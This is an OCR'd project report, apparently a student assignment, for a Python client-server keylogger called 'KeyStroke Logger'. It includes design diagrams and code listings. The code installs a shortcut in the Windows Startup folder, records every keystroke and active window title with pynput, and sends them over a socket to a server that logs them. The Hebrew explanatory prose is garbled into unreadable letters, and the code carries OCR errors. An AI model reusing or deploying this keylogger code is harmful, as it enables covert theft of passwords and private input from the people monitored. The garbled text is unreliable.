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21N Y905 NRVANND NN NVWN 792 DIMIN .M TYI D127 ND 92D NNIRY 1M 1NN NHVY
DYININN DY0INN DT DOWHNYN ,NNID NID-PX MITRW MNNND TN ,0MINN WHNwND

.29 M0 HYA AN DIDMNNN DOWHNYNN DNIND YN ¥TD NNYIND NN

NYYINR D TPV OTINY [ PNYN KDY DD 7PN DY LPMINY NYT I2»D NNIND DY NN
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AMVHVIIIN / NN

NYNAT MAYON VPN

nToPNN nYpm (software) Mon a5wnN VPN XN “KeyStroke Logger” vp»aon
DYPIYTHN YW PINDN NN DN MITN ,DOUPN TA910 .WHRNWN NN APYN NIT POND > 103
,MIPON NN PN ININD POY TAY WNNWNN TUNR 9N NOND GONA ,NYNIND NN N2
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AUNNUNNN YTNRN NIXR PYND GRIV TUN IPRD HOYIA MNNY NN DYDY ST -NYI2 MN»PN
Y DR ONNIT 1I9Y OPIN AN OVPID VIV DY 7PNN DY MDIND 1D D) SIINI ,OININ
MY TPIT MIPIND APYNN NN JPYI DX ONNINY PN ONDAN NIPRNM Oy dIN
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NIYH MNNY NMPYN 2PYN NIND P2 DIONY DINNNIMNIIN
:HYPYN APYN MM MYMIND O

.(NYy¥ann No9yN DY) 2WNNND NYYINI N¥NN MIND .1

.OTPN NINN 71919 DOYPNRN DK IINUYN DIINNINGD - .2

SOND NN, NIYWY NN Nwanmy nbw Client Socketn DX NONNINND NMIINN - .3

.DOUPN NVYYP HY NIND PN INDIT Y9N , 1IN NIINNN NIVO NN INN ON .4

NN VYPN IUND .5

SNONN NONN 711900 THNWN 12TYNN 5.1
:DTPN NONN 71777500 DNV SNONN PNoNN IV DN 5.2

.DVUPNN NKPIDIVON ,NIVI DNNYYY ,/NPVMLY INSNY DONWHD NN .5.2.1

DD 2VYNNN NOYONA NNIND NP NN PN ,NIVNN NNOY J0NI9 VI DX .5.2.2
INTAY

.DWPNN 70w H NININ VPN 1IN AR PO 5.3
:7Enter” NN NN NWINND Wpnn 7900 0R 5.4

DOWUPNN 1P DIDON ,NIWY DNNYOWY /PO INSNY DINWHRD NIND - .5.4.1

D»DM 2VNNN NYYINI NXINN NIP DX P> NIV NN JONI 91p> DX .5.4.2
anTay

SNONN NONN 17117090 NIDTYNN OTPN NoNN 711900 5.5
$MIPYN APYN NN DY DIONA NIYN MNN MHYMINN o

L(NYYaNN NOIYN DY) AWNHNND NHYINA NN MIIND .1

.MDMNN NN PIRN IINDDONTINGD - .2

v Threading 1721 , DD PN NINDIY 12w Mow Server Socketn NN NINNNND TINNN .3
DINPY Oy DNDN NVYP

V9PV NMIPY YO My 4

TPINNN 12 N 7EX?” Y2)7 (NDND NYY DNIM ,0OP ON 725793 A9 IN) NN NN 4.1

(log) NVYPN PINND MPHY DNPKY DY IINNN MPHN DY NTIPNPN MDY DD NN TYNN

Mpon v IP-n NNy [UTC+2] SO 193 9IRM NIDIMNN NN TIND AN NN
OPoMN

.MPON SY ONPN NONN 710 MNYN IR VNP 4.2

:NMIPYN OVPN NVIYP TIY NN PN INNY Hyan 4.3

.Unicode 5 70°¢75 073N NNIX 10N ,DOUPNN 700K75Y "dPO» RSN VP .4.3.1
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%95 N11I0L5 NN MR RN PN NOND 711900 DY 71POMY INSN VIYP  .4.3.2
.Unicode

:4.3.2/74.3.12 NNV DN .4.3.3
Jog-5 Ny nyw nanon .4.3.3.1
SNRDYNN NN .4.3.3.2

:TPIDNN NN PINND DNV NIDNND DX DY ONORN PIRNN DN .4.3.4
Jog-5 751NN NN YW HNORN TINNN DANON .4.3.4.1

DONONN NI PINNN DNINNY NIDTYNH NN NXIN PIND DI .4.3.4.2

:DTPN NIND 719000 DNV SNONN NoNN NPINPOR - .4.3.5
)91 ANND YNOIN NXIN NN NaNOM log-Y owpHnn Nanon .4.3.5.1
SNONN NONN 77117790 NITYNN OPN NoNN 711970 .4.3.5.2

Jlog-5 ©wpnn nandn :MINK  4.3.6
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:MPYN VMY O

Run the program with the
operation system

Send connection Find Connection
request to the server function

Accept connection
request from server side

[If a connection is made]
[If current window is different from the previous]
™

*Send Key list and current
window string to server*

[if a key is pressed]

Press funtion Key Listener function

[If none of the conditions]

J
[If key pressed is "Enter”|
. [If a connection error accured]

*Loops*.

[If ordered by serv:F

®




Connection
request send
from a client

Connection
request send
from a client

Connection
request send
from a client

*Thread ends*

*Breaks loop*

[If current window is different from the previt}us]

Write Next
Window
function

Diconnect function

KeyStroke Logger

PoOYD N1

HIVWHIIIN VRS ©

Ran by the operation

system, or launched

by the user through
the GUI

Main function

*Both functions called by threading*

y

Find
Connection
function

;

Connection
request send
from the GUI

Accept the Accept the
connection request connection request
of the client of GUI
,'r | *Threading acceptance -

’ [If a connection is made] Every process which the

software lunchs operates
in a parallel standpaint ta
the other processes*

Process
function

*Recieve
*Loops*
parameters*
Connect function

*Receive Key list
and current window
string from client*

f a connection error occurred

Write Next Day
function

[Else]

Write Next
Line function

*Loops* -

requests from GUI,
send back valid

[If GUI requests server to deactivate]

*Entire Server shuts down*
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:NIYN HY 599D PYINN VPN O

Launched by the
user

[If quit button is pressed)]

[If connect buttan is pressed]

* Quits GUI *

If quit button is presse
[q P 4 Work Frame

*Qpens
instructions*

Open Dir
function [If Open log dir button is pressed)]

: Change Lo
Request funtion Dir f g " 9 : . /
Ir funcuon [If Change log dir button is pressed] [If DefActivate server button is pressed]

* x2 ->» Diconnect -> Connect again *

Show
J

Request Clients
. Connected - , -
function : [If Connected clients button is pressed)]
function

Disconnect
Clients
function

a

[If Disconnect clients button is pressed]

Connect
software
function

[If GUI already connected]

*Diconnects client,
deactivates control
pannel's buttons*

[If GUI not connected]

* Socket connection on the same network*

Accept connection
request from server
side

Send connection
request to the
Server Software

*Activates
control
pannel's
buttans*
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The Inspector (Server)

Use Case~-2 0990 n59y1 0OWIN

PoOYD N1

Logger
Gcul

"Control
Panel"

Logs
directory

-

System

Server
software,
operating in
the
background

"Motherboard
system"”

Client
software,

operating in
the
background

Client
software,
operating in
the
background

Client
software,

operating in
the
background

Monitored (Client)

Monitored (Client)

Monitored (Client)

5y MPYN YW NN DN NN NIPYN MM NPINN MPYN Pa DNPNPNN DSNN - O
APYNN NN HY VIYWY Y991 172 PR D) 7 IR 1YY MPPIN

APYNT MINT 95 NN NN NMIPY NIV NN DY VYWY MDD W NPONY NN INWY  ©
("PPan MS?) NIV DV 9NN PYNNN TIT NT DI 00U NMINPYN MINN

DWIPNRN MMPIN DD By DraPNI NIYPNN (7ONN NN MNPON NOYI) NIVD NN ©
DY O) NIYPNNI 51T 13) 0NN THNY TN DI N2Y NINYT NAMD) NIXM MPY NIV YON2
NNY NIYN 1IN MYPA NOW NP NIDN TYURD MPO NIY YONA D) 9NN PYNNN

b
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(Components) V990 MPINN MTN?

HY 9209 XD ,UPNION AR MOMNN NPIPOYN NVPIPNAN DY 920P 11 NIMI-NN NN =
NNANY TR NANIND VN JIDY ,DOVIYA DINRIN MPTIAN NVXPNA NWIN NPXPN

(MpY) key_listener n'8pNs o

DXVYPN NUNP TPIPNAN -MYUPN DIVIN DDINND DY 7YY TIUR ,NIRDND NN DTN
TINPNAY IMN N2y (key) NTOPNNN VPN YRNYNNN NVYP NN NTOPNRIN
(MPNPNDY NNIIP) TVNI9D press

(MPO) press MEPNS ©

MY DYAYIN N DNINVN -WNRNWNN 7Y DINNDIN DWPNI HAVY NI NTNON PPN
NONN MNYN OX PITAN NN L,YPNn AN nYapn NN key_listener mxpNan
(DOYNINHD YN DN) X DWPRY ,Nanna ~’Enter X VOPIN WpNn DN X ,DY9N
DOYI IR DARM (VY9) SNONN PONM MYPNN NNOYI IR NIYY ayn NN
Ty key_listener n8p»ab 950N NTNON,PNINN NMIPYY NIYN P2 NNN DX .MYPNN
DN .WUThNn NN wand Hwad poand (key_listener-5) N Snonn Falser »xoon
PIXNN APYNN TIOIN MY DMDY NHN NYPIAND NN NIVYN Japnn DTN

.T2YY PPoom

(DY) process NNPNY o

MMTN DX N5 DD NXIN NTPIN NN MPOY MPY 95 DY NIPAN NN >IN
NN ANO9a NYapN oM threadd NOXPNON DX IN NIVD .MPDY MPD 9D DY NYvpnn
S9NV NN NY N9 log NINPNAY NIPN IN NN DY NAINON HaRVY MpYn Socket
NNMPNN 19N INKRD (12D 0P KDY OR) MIPN NMITN NN 1D NYY T2 ,MPON NIND
MIPYN DY NN PINN HNINNI MYPNN NNIYY DOVIPI NI TUN PNV PR IRNY
VTN TINN 2INDD TINN OMP ON I920 D’ava write_next_day md8pnNad nXMp NN
VYR NIYN TUN DINWNN NITYA ONONN NIND NIINHD NN NY N9%¥m) ,1INPNN MTa
INIP2) NYT2 ONOVN PYNN NN 2INDY TNSN O ONX 993N DTN ,MPYn
P9 IN NN NIPNN NN MYPNN NDOPWI DX AYYN D93y write_next_window?
NN AYHN N3 write_next_lined NNIP) PONN IMN NNN NIT2 NWTN 1Y 2IN0Y
MY 92INNY DIPN ,I2INHNN MIPON NN PNID YPANN PYHNNNND OX .(MYPHNN NNXYI
2195 PYDANY MHN NYPANT NNINND 1D PINN NN, MDY TUNN DY NYNX NNINND

AMIN NP

11
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(mv) Connect /8999 o

MIPON DY MYUPN APYNRN MT NP DR NPD ATPAM ,process MY NRIPI DTN
APYN MITN NX (0P KXY OR) NI ,MPYN NIND DINL NN NANDIDA NYAPNH NN
DXNONN MMPON MINYTT NIMY DY NITN DX DD (ININD BY) MPON YINN DN

NIPON MMNANNN NYYW NX TYNN DTN 0P 9310 NYTN DX .(39219) Ninwn)

(V) write next day 5899 o

nYAPH NPNON .MPON MTI PIRNN NN ITYY NTPIM process Y NRIPI DTN
MNYN NTH NND PIRN OXY ,MPYN DY ONONN POND INDINHD NN NNDMDA
NONS QDN YTINN PIRNND DR NN NN (NDNTY DDA D¥INNN MAYNNNI)

ANONN POND OTIPN NOND NN IITYN DTN ININN

("v) write next window 58999 o

NN )ITYD NTPAM ,DTIPN NINNNI NNY ININN NINN TWNRD process My NNIPI NN
NYOYN ONONT NINN NHINHD DX ANDA NYAPN NTNN .MPON MTA PNONN NoNN
MYPNN DY NX 1Y N9%ayn) write_next_line MI¥PNAY NXNPY ,MPYN DY MYpnn
NONN NN NAMD I3 MINNY ONPN PINN DNN MYPNN IR N3O 151 (MpPON DV

ANONN POND OTIPN NIND NN IITYN DTN ININN

() write next line 58999 o

DIV NN TYNY TNNN OMP IWNRD write_next_window X process >’y NXIPI NN
WYY ONY ,MPON DY MYPNN DY DR AN NYAPN NTNN .NMTD MYpPNn
MT2 NNINKDD NDYIN NN 2NN DTN -D>I200) NPMN OWPN NDINA NI2D MYPNN

DORNNN YN NNN MPON DV Apyn

(mv) Disconnect 58999 ©

ANV NYAPN DTN .NMIPON MDY NX DIDY NTPIN ,Process 27y NRIPI DTN
IMNX NNV MPON DY NN PINN NN NTYNHN ,MPoN NN Socket DNV NN
[(D»5219) DOINYN) DINDNN MMPIN DY NMINYTN DXNONN MINPYN MNDMIN0

12
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DMYVD MTPD PAYTNRD HDAIT

Key Listener

function

*Server apens
process for
connection with
client*

[Key variable]

[False' bool valug]

[Client's socket + Cljent's address tuple] Press funtion

[Key list + Current wim-ow-s.trir:g] ............

E *Information passed between client and server

\ [string for confirmation of running]

'
\.

[Client’s address tuple] Process [Current window string + log opened on append)
funtion

[ + Client's socket]
[Key list + log opened on append]

[+ Current window string]

Disconnect
function

Write Next Day

funtion

Write Next
Window funtion

Write Next Line

P [Key list + log opened on append]

13
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:(NPANN) YHRNWNN Y172 71N NXOND YT DY MINIPI NP, MNVY I PYNND NPSPNY =

(nv pwnn) Connect Software 58PN9 o

n7pam ,Change Log Dir »y 8 DesActivate Server 1masn nNXNY > 5y NXIPI NN
PON NIANNN NN ,NIVN NIDIN NN NPT DTN TUNRD .NIYD TINN X INOI/POTND
NN HOP NN .NIYD NN VNN XTI TIN NIIDN NPNDA NPIINDI ,NIY-NPY NN

Dwn Mo S Process ID-) 705100 7iNyTH ONN Dpn

(M pwnn) Open Dir m8pns o

NONN PN NN MNY NPPam ,Open Log Dir 1IN0 NHONY T Sy NNIPY NN
JPNOVN DWHRNWNRI MMT

(v pwnn) Change Log Dir m8pns o

PN o X MY NPPpam ,Change Log Dir m:mna5n nYNd > Yy ARIPI NN
MMTN NONN DIPIIY) WHRnwNHN path VIYPN NTNN .PNONN DXWHNYHRN NIMT NONN
T NIYN NX PPOTNDY M29Y Hrava o»nys Connect Software 1IXPNAD NXNP L (WTHD

.NVION 1INOY NITYA NIV NN DY NONNRN path NN NIDTYN NN I

(nv pwnn) Show Connected NISPNS o

nNO AN MXINY NPPpom Connected Clients N950 N¥NY > Sy NINIPI NN
INPNANN OPNONN NIMPON MIIND NPV NX 22PN DTN .NIYD DMI2INNN NMNMPON
AUNNWNRN Y NIMDNN PNONN NP NIND MT DX NN NTNN 9011 .Request Clients

(nv pwnn) Disconnect Clients 58PN ©

DMWIPN MNPY PN NPpam ,Disconnect Clients 91n950 N¥XND T HY NRIAPI NTNON
Request 1o¥p9n1n DPNONN MNMPON MAIND NV X YApH NTMN .NIYD NIDINN
Request M X¥pNa pnId 9Na wnnwnn AU MMpoN Ndwl X 9*aym Clients

(nv pwnn) Request M8pNs o

wpas npom Disconnect Clients-y Request Clients nyspnon 1 Yy ARIPY NN
VN9 AN NYAPN NTINON .NY YYD DN NVPXPNONY ONINND NITYL NIV DM
,IYPIAN T0NI9D DIRNNN PN IR VPN DTN ,NIYNN NHIYD D3¥N ININ TWUN ,NYpa

(9730) N2 INIPN NPIPNAD NIVNN NN N

14
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(nv pwnn) Request Clients 508pM9 o

X NN NPPam Request Connecty Show Connected nyspnan »7y NXIPI NTNN
nYapPY NYPa NHINN Request MXPNAD 9%a¥n 17N .O0»NONN NIMPON M2IND NNXYA
NPIPNAD NN NNY NNOYI M MNMPON NNOYY DX NN 2aPpn  ,MNMPON NNXY)

(90) NYWIPN

(M) GUI mr89n9 o

PIAY (NN D) NIV TN P2 DNMN NN NNYPNN DY TONINKRD DTN OIN
-n N 995 (Thread-2) 92apN2 NXNNN TPND PR NIXND NN NTND .NIVD Pwn
ONIY PYONIN NVMP DTN .DPTNPIN DITNINNN DWPNN NN MYIAPNN process
,01230NN MMPYN NNYYI) NIYD NIDINND VNI BY NIWN D N9%NN NINND) ,NYPI
1IN Socket NX NYAPN DTN, NIV NN PWNNN 1IN .(91D) PN NTIAY NOPIN
5w Process ID-) 'no1n mMTn NONN DIPA NN PYNND mIND 19538121 ,IN2IND) PYnn

YN NN TONN

:DAYVN NN NAYAN PYDKL MO P YR IO =

Connect

Software

[Current Log Dicectory starage path + * Launches and connects to / Kills software server *

PID of the running software server]

GUI function

O

Change Log [New Log Directory storage path]
Dir function

Inspector

_| Motherboard
[New Log Directory storage path] system.pyw

15
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Show
Connected

function

[List of connected
addresses]

®

Request Disconnect [Disconnect request]
Clients Clients function

*Request*

v

Request
*Answer* function *Answer*

The Inspector

*Request* ' xAnswer®

A | :

GUI function

16
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YN HMVPLVLIDIN

-NOYTIN TIND DXOINN ,DMY NNYPN MIPIVINY 190N DIRVANND LPMIN NIIWNA  ©
.TCP/IP-m OSI

,Ethernet-n %HP10199 XVINN ,NIND HNR NV NNPPPNN VPN NN TYUND
-n 57 (LAN) nypmipn 0xawnn mnyia 0oNn) NNYPNY INYNOL DSV NN TUN
OSI-n 5719 Dy .NNMYPNN DY OON NAOWN DY SXINK NNYPN Hipwonan TCP/IP

DMNMYPNN SV IPHAN N25WN DX D) 1THIN NPINYWPN NADY DY IRINK DIPIVIIN

User Datagram ) UDP X02nn 1990 HNNX DY D12PNN RY UP990 NI9YN 9UNI
YDNRN M2IAN ,DININ IPHAN NI NPNN DNM NN wann wr (Protocol
NI5Y IN DY 90N YIND HNOWI 1NV 1AW 1IN INY ITOL YHOND NMYY MNOWIN
MY MPON P2 TMIAINN YR MDPAN DY YOPN DTN APY TR 9951 WIHND NI TIDND
ATCP 9,9 208N NLARNN HIPMVINN Dy 91y UDP-5 widwn » >nodnn anm
VN T9DN VX DY DXIAVYNN 190N DY IWPNND AWNNY wann UDP 5pvns qon
NIAOY POV NPV DY VPN NNAYNN NIV DIYINA DY NINAD WK ,27APNa

.TCP/IP-n 571m 5v naynn n1ow> OSI- 1 571 Y naynn

Internet ) IP-n N0 NY IN D90 NV DNMPHN VPNI9N NIIYN DN YIPN
,DONNI NIDONIN NN NN XOD DN NIAVNY WNRYNN NNYPN 9170119 (Protocol
DXNAN DIPIVIINT TAN NI PO ,INPA PAMY D INPNA IO DY NN NI TN
nAOYYY TNXD nvnvn M L IP nand oavnn nwa Do .Dawnn mnvia vinova

.TCP/IP-n 57172y OSI-N Y72 yn nwan N15v1a TPann 5I1ipivon .nvia ymnn

MYNNNI WYX ,APYRN MINNY NIYN NN P2 MPY — NIY SON DNDPPNN VPN ©
NIYN avNnd DMPIAN MPY davnn 1N DY Dapn NN awannn UDP 5pvns
NIYN NN P2 MPY — NIV 20N DN»PINI 715 qoNa .(Threading mysnNa) Nponn
YAVNND DY APYNN NN DY NIYN NN DY DXONNN NNY VN9 YY) NYVYH pYInd
PYNNN TIT OWBN NPOND NIVD NIDIN PA ONNN NIAY DX DIVINDD L(MMPYD
Mo NN 939 (Threading 797 D) H*aPNA OPPNN N NN .("NIPAN M) P9N
VPMI9N MPONN YD P2 NYIA NANT DN NPT NHMPNM ,APYHNN NNDIND NIVH
AN NP - NNV NN L3091 NI NIYN MIDIN TWRD NN

17
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Input Tracker's IP:

Link |
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m Activate Server Quit

Open Log Dir Change Log Dir

Connected Clients Disconnect Clients

Current log storage directory: *MISSING*
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Open MNON NN ,DOWNNYNN MNIT DY NONKN NPPIN NN MNAY DIV wHunwnn
JNYNY DOVNNYNRN MINYT 95 X YT 9I1TAY 9o wonwnn [, na LLog dir
(NN2N NIMD NN NIANIN) NPT PINKD ,PPNYND

,DVUNNYNN MMT DY TPNONN NONND NMPIN DY DIPPND NN INIYD DOV wnnwunn
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ython -m pip freeze

= ok @

T

M
= = T
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.9
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[7890 ¥2Y7] ASSIGN.exe

NINN/XNPN PPN

TOIN NN IYPN WHRNWNI 12 DT PON NMan L (.exe ,Executable) N¥In NP NN DY N2IP
.Npoann awNnd (ASSIGN XPY 9N8Hnn) 2pynn

T NP NP Track.pyw apynn nomn Sv 7wn [P M0 N mwn X21pa monn
.Windows no¥9nn N27yn Y¥ Noyann n»pd na apynn mon Y (Ink shortcut)

IMNA IR Track. pyw 2apynn nimn OX P IR XDIPN TOSPNS DX 99ND 7PN 1M
NTAY NOPOIN

.OS, tkinter, socket, getpass, pywin32 ::199032 vnnwn YN

XMIPN V99N MYIN

$UPNHI9N M990 NNIA»”  ©

3 import os

from tkinter import *

from tkinter import messagebox
import socket

import getpass

g from win3Zcom.client import Dispatch

[ =

(=11

.(5) messagebox + (4) DTN NII120 NYXPNAN U Xavn tkinter-n* o
.(8) shortcuts oy mb>mnn YwaNn (pywin32) win32com.client-»n Dispatch X12» o

$090NN HY OIYANN OINYND O

%]

$# Defining main Root
13 root = Tk()

[ I =

# path for track scoftware (client) python file

track file = os.getocwd() + ™\ \Irack.pyu

o

18 user _name = getpass.getuser() # 5String for computer's user
19 Tstartup_path =%

r'C:\Users)\is'\AppData'\Roaming\Microsoft\Windows' Start Menu'\ Programs' %\

1 r'‘\Startup’ % user name # Path for gtarktup folder of windows OS5

3 # Path to Track's Software ghortcur located in windows 3tartup folder
- bat_path = os.path.join(startup path, "Track.]lp]

B B B3 B [d}
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(13) 2970 PYNNN DY root-N NON TN e

MNP ,NTIAYN IPINI APYHN TN DIPN NN DIN¥NN 090N OPATH-5 0 Tn e
.(15-24) NYYaNN NIIYN YW NOYONN NMPINA APYNN NININ SV 717

SMNNNY DY DINNIYIN ,)IONN 290199 NN ©

# Defining title (instructicn) labkel

5 [Etitle = Label (root, text="Input Tracksr's IF:", font=("Jggps™, 13, "bold"),
bg="white"}

= # Defining entry field

5 field = Entry(root, font=("Jsgns", 13), bd=4, width=31)

g1 # Defining the "Link™ button

g2 [Elink_buttcn = Button (root, text="Link", font=("Jggns", 13, "bold"), bg="white",
93 command=1ink)

[4 5 I

# Configuring main root

S96 root.configure (background="white")
97 root.title("Assign Executabkle™)
948 root.minsize (300, 100)

55 root.resizable (0, 0)

# Presenting buttons on root
102 title.pack()
field.pack({pady=3)

link button.pack()

Lad H

[4 5 I 9

root.mainloop() # Loops Root

o

.(101-104 ,84-93) PWNNN TN Y DN PYNRHNN MNMIY» DTN @
(95-99) PWNNN NIN MONI DTN e

[(106) P90 PN NI N PYHNN NONN e
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*Link 99195 >y NI+ :link mo8p»e o

29  [Hdef link():

30 global track _file

3l " z link betws ftware and launches
32

33

34 print (field.get())

is = if os.path.exists(track_file):

36 passed = field.get() # Input from user in field box saved
37 field.delete (0, ENL)

iz = try:

39 socket.inet_aton(passsd)

40

41 ¢$¢ If input walid IP

42 [ with open({track _file, "r") as f:

43 list of lines = f.readlines()

44 o list of lines[le] = f"server ip = '[passsd}'\n"
45

48 [ with open({track file, "y") as £f:

47 & f.writelines(list _of lines)

43

45 # Target file for ghortcuh

a0 target = os.path.join({os.getowd(), "Track.gyw")

51 # Working directory for ghorikohk

52 w_dir = os.getcwd()

a3 # Icon of the file ghortcout

54 icon = o3.path.join{os.getcwd (), "Track.pyu™)

55 shell = Dispatch('W3cript.Shell")

56 # Creates the new ghortocut at given path

57 shortcut = shell.CreateShortCut (bat_path)

508 shortcut.Targetpath = target

55 shortcut.WorkingDirectory = w_dir

shortcut.Iconlocation = icon
# Saves the Track's software ghortcul at given path
shortcut.save ()

= L B3

os.startfile ("Track.gyu")

[0} ]

# Informs user of success installation
field.configure(fg="Blus")

=l messagebox. showinfo ("Success!",

"fou can delete the executable file now."™)

[ R [

$ If input isn't wvalid IP

= except soccket.error:

$# Informs user of

field.configure (fg="E=d4d")

messageboX. showerror ("Failed! ™,

B "Please Insert a valid IP address.™)

# If Track software file doesn't exist in working directory

L T R B o O B o I S
{11
[N

0 00 =] =] =] =] =] =] =] =] =] =] & & & h & & o o o
= L
T

= else:
messagebox. showerror ("Error!™,
"Can't find Track.pyw in working directory™)

=
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(I IP-7 MYIZn R'NWD) NNXY DR 7'WON 2pynn NI L'PN 1P nTwa [T nTha
.(38-69) n7vonn Ndyn 7Y N7U9NN DY NNXY W TN [N

(72-76) P 1P 7w NITN NYWPANN NRAY NYTIN 7200 ,'PN X7 IP 2Tw2 TN TN

NN D JI¥N N2 ARAY 72PNN LYAn 7Y DTIAvn NYEMA oY X7 N1DINN Yalp nTa
.(79-81) nx¥n1 X7 ajpynin

33



KeyStroke Logger P00 MY

(P39 V>9oN] Tracker.pyw

NINN/XNPN PPN

TV APYIN AWNNN DY (pyw) YPIa 9NI0N KOO XYW NN VDN XIP XN DY XDIP
MIPON MDA 295 NIV YR MIAN

NNON DTN .MPON YT INNIY DN DY NMYIY GO XN ,7IND DY NN YD My
N2 TY NVOPIV DXVYPNN NDOWI NN NIV 12YY DY NTIAY NN PoNN MPYNIY IN "Enter”’
.ON51N L>YOY NYINN NX D) Y GONI) NNIN DINN

NoYaNN M N2 WYY (Ink ,shortcut) 797 %P OPPY NI NOYONN NN DY XN XIPN
2NN XY XN T DI NIYD IANNND DO RN ,NDYINN NN Y

PN WYY TITN NP IR PN XDIPN ,NIVNN NTIAY NP VNI HapN NTNI
ANTIAY NN OYON NHYINN

.OS, pynput, time, pywin32, socket, pickle, getpass : 599032 wnnwn YIpn

XPN V0N NYN

$OPNHI9N MYV NI ©

import os
- from pynput.keyboard import Listener
= import time
i from win32gui import GetWindowlext, GetForegroundWindow
import socket
import pickle
g import getpass

YpNnn NX P1YNY NTOPNNN ovpn VIYPY Yo pynput.keyboard-n Listener X)a»a1 e
.(4) 901995 NNYIN

(pywin32) win32gui-n GetForegroundWindow-y GetWindowText NX)2» mysnNa e
APYIN MIPON YPI2 MNN PNINN NINN NN 1PNNY DI
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$0990NN HY DIYANN DINYNN O

# Client socket
my_socket = socket.socket()

# Server connection IP
server_ip = '1"

# String for the previous foreground window
prev_window = "'

# List of phrased keys pressed
keys = []

# Force stop parameter
Stop = False

.(14) apynn NN Y MPON socket 1 TN o

NP NIYA GONY AUN TY INT TIY XD 17 .APYRN NIDIN NIVIPN PON OOND ITNIND e

.(17) ASSIGN.exe n¥IN

DXP>Y DMV ,DTIPN PDOPRN NTIAYN NIN DISNDIN DOUPNH NDOWI NDNWN DTN e

126
127
123
125
120
131
132
133
134
135
136
137
138
135
140
141
142
143
144
145
l4&

.(19-23)
(26) N¥7 ApYNN McNWA False 9Y ,Apynn miom Y NSy 10NI9 1 TImn e

:Main m8p»9 o

[Fdef main():

global Stop
= while True:
£find connection()
key_listener ()
£ If ordered by software serwver to stop working
=l if Stop:
user_name = getpass.getuser() # String for computer's user
g Path for file's ghortouk at startup folder of windows 05
= bat_path = %
r'C:WUsers) $shBEppData’ RoaminghMicrosofth\Windowsh Start Menu' \
o r'“ProgramshStartupiTrack.lnk' % user name
os.remove {(bat_path) # Removes shortous from shaziup folder
i break # Ends program
if name = ' main ':
I? main ()
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.(132) find connection MX¥PNA2 12N XINND NOIN NINN

key listener m¥pn92 M0 PR NINDYA DOVYPN VIZPN NIIND , NN NIV INND

.(133)

MO Y NPSYN VNI DY 1DTY DX PTI) ,DOUPNN NVYP YY INDYN NIV DN

.(135) True Xy 2pynn

NN SV NOYONN NOPOINN APYNRN MIDIN DV shortcut-N ¥2IP 101 ,07PNN ININD DN

100 [Fdet

(136-142) Tayo NP>09) NIINN NOYONN

Joop — nIvH 9D 712N NIXNY NOIN NN ,NINK
:find connection %P9

find connection():

gleobal my socket, serwver ip

while True:
try:
my_socket.connect((server_ip, 1723))
print{my socket.recv{ll) .deccde(})

break

except:
my_socket.close ()
my_socket = socket.socket()
print('Server is not ready')
time.sleep(S)

(109) Nan xx¥n' WwKD L(105-115)n910 '% NX7172 NW? 12ANNNY7 NOIN Ayn N1dINN

Javn ax7Tn

:key listener 58999

key listener():

with Listener{on press=press) as listener:

listener.join()

92UN NRDDN .PND PR NIRDIDA press MINPNAD DNIN 1IYN DOWPN VPN NIDIND

.(122-123) DIWNN PN XD IN NN PN Y Npna False 79y OON 1tnpws

36
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spress MIPN9 o

327 [Hdef press(key):

38 global my socket, keys, prev window, Stop

35 e

40

41 # Turning key object to s5Lp

42 str_key = strikey)

43

44 4 m for the Current actiwve foreground window

45 cur window = str{GetWindowTlext (GetForegroundWindow(}))
1€

47 # Check if user switched active window (page)

a2 [ if new_section_is_needed{cur_window) :

45 print (keys)

S0 print {cur window)

51 o try:

52 # Sends key list to software server

53 my_sur_'ker. .send {pickle dumps(keys))

54 # Sends current foreground window to software server
55 my_socket.send{cur_window.encode())

S5& # Hecelives work parameter from server

57 confirmation = my scocket.recv(l024) .decodel()

5 print (confirmation)

55 & If software server reguests current software (the tracking
c0 & software) with parameter "stop", end process._
gl H if confirmation == "stop":

62 Stop = True

63 - return False

(111

oy
{1}
LLT

except:

ch # If a connection error occurred (software server disconnection)
(-1 - return False

&7 - keys = [] & Resets key list

(=]

659 # Strips unnecessary apostrophes

70 — if str_key == "'":

T keys append(str_key. strip('"'}}

72 = elae:

73 £ keys _appendiﬁtr_key_ﬁtrip["' 1)

74

75 & Checks if a new section needs to ke written

TE — if str key == "Eey.enter™:

77 print (keys)

Ta — try:

79 # Sends key list to software server

f=1u} my_socket . send({pickle dumps(keys))

21 # Sends current foreground window to software server
82 my_ s ocket . send {r_'ur_windcm cencode () )

83 # Receiwves work parameter from server

g4 confirmation = my scocket.recv(l024) .decodel()

25 print (confirmation)

=14 2 If software server regquests current scoftware (the tracking
a7 # software) with parameter "stop", end process.

gz H if confirmation == "stop":

B Stop = True

=] o return False

a1 o except :

92 # If a comnection error cccurred (software server disconnection)
93 - return False

94 o keys = [] & Resets key list

a5

-1 # Updates previous foreground window string to match current
7 5 prev_window = cur window

37
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NIND NINH DX HAPN 90N .DOVUPNN TIVAY DNMIN POIN DIVPN VITPN PN @
(70-73 ,45 ,42) >NoNN DO¥9N

NHINND DX NYW -Enter XN YN9IN NN X ,OTIPNN NNV ONINN YN PYONM NN e
.(76-90 ,48-63) MIVYNN NTIAY TYNN 10N VIVPN , NIV DOWPNN NDPYI + SNONN NONN

AN 8PN False 7y 910 ,nwn 0y MNN PRINNY IN NSYY NIN 100N NN e
.(88-93 ,61-66) N2 MMD PRN NNIYN NN 1 WK key listener

:new section is needed m¥p»a o
29 def new section_ iz neesded(cur_window) :

global prev_window

34 return cur window != prev_window and cur window != "*'" + prev_window

MONN PYIN POND NN OTIPN DO¥9N NONN OXRD IWPN NN TIY NIINNN MINPN
(34)

38
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[n89n N3] Control Panel.exe
NINNN/NNPN PPN

NN SYannNn (97 Pwnn) NIpa MY NoN NMan (.exe Executable) n¥IN X2IP NN DY NP
TP DIV DTN PINNI , NIV NN

S5Y YNONN PONRND OWPN L("OPR” TP-2 Pio71/125) NIwn DIVLD NN MXID 1N NoN2A
MY VIV NYMINM (NN NIYNYI 7IDN7-3 W) NIV OIWIiPNRN MMpon MmNyt
NYMINN 7N N¥INI) NIPAN

2Y0) NIPAN M NNYA,POTI NIVNY INNKD
.DMVIPNRT MNPYN NAY ApyHRN MHNT 5 NoNX (PATH) oypn nxmnad .1

N2 P2 NIYN NONY Restart mMyy¥nINa aApynn mMNIT DY NONRND NYPIN DX DY .2
.Motherboard_system.pyw n7vn X2 v nonnn PATH »n»w npd1nm

NNV NINNH MDY DIPINN XDPN APYHI NITLY,DXIINHDN MMPYN M2INI2 N»oN .3
.DPMAIND 299 NN MMPY I .4

MPINY 1NN N Yv (Ink ,shortcut) 797 MNP OV NIPAN MY 71T NIYN NYYINI
NIYN M2552 90 NP ,NOYONN NN DY NHYONN

